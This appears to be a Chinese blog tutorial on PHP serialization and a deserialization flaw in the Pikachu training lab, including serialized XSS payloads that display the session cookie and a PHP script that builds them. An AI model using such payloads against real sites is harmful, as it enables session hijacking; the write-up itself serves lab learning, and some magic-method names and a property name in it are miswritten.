大家好!

我是小黄,很高兴又跟大家见面啦 !

拒绝水文,从我做起 !!!!

今天更新的是:

  • P7 PikaChu_PHP反序列化
  • 往期检索:程序设计学习笔记——目录


创建时间:2021年3月23日
软件: MindMaster Pro 、Burp Suite Pro 、火狐浏览器



PHP反序列化



前言
  • 首先我们要理解什么叫做序列化和反序列化
  1. 序列化(serialize):是将变量或对象转换成字符串的过程。从而达到传输和存储的目的。
  2. 反序列化(unserialize):是将字符串转换成变量或对象的过程。以便被代码处理。

序列化:serialize( ) 函数

    class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表类名字长度
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

  • 举个例子:
<?php
class man{
public $name;
public $age;
public $height;

function __construct($name,$age,$height){ //_construct:创建对象时初始化
$this->name = $name;
$this->age = $age;
$this->height = $height;
}

}

$man=new man("Bob",5,20);
var_dump(serialize($man));

?>

P7 PikaChu_PHP反序列化_php

  • 在线编译工具

反序列化unserialize( ) 函数

<?php
class man{
public $name;
public $age;
public $height;

function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}

}

$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));

?>

P7 PikaChu_PHP反序列化_php_02

  • 序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
  • 魔幻函数:
_construct():创建对象时初始化,不会自动调用
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():执行unserialize()时,先会调用这个函数,然后再进行反序列化
_call():调用对象不存在时使用
_get():调用私有属性时使用

漏洞分析

P7 PikaChu_PHP反序列化_网络安全_03

  • 尝试用概述中提供的payload尝试一下:​​O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}​

P7 PikaChu_PHP反序列化_网络安全_04

  • 我们可以尝试着利用XSS,使其返回​​cookie​​ 重新构建payload
  • 返回cookie的XSS :​​<script>alert(document.cookie)</script>​
  • 反序列化之后的payload:​​O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}​
  • 返回的​​cookie​​:​​PHPSESSID=uvq34mi9eqnctpg6chmjb6crl6​

P7 PikaChu_PHP反序列化_php_05

  • 用代码构造payload、创建以下内容的文件,放在www目录下(当然如果直接把xss payload写到类定义里面也可以)
<?php
class S{
var $test = "pikachu";
}
$s = new S();
$payload="<script>alert(document.cookie)</script>";
$s->text=$payload;
echo serialize($s);
?>

P7 PikaChu_PHP反序列化_网络安全_06

P7 PikaChu_PHP反序列化_php_07

文章参考



各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧

每个小伙伴的关注都是本人更新博客的动力!!!

请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !

P7 PikaChu_PHP反序列化_反序列化_08

把握现在 ,展望未来 ,加油 !



由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !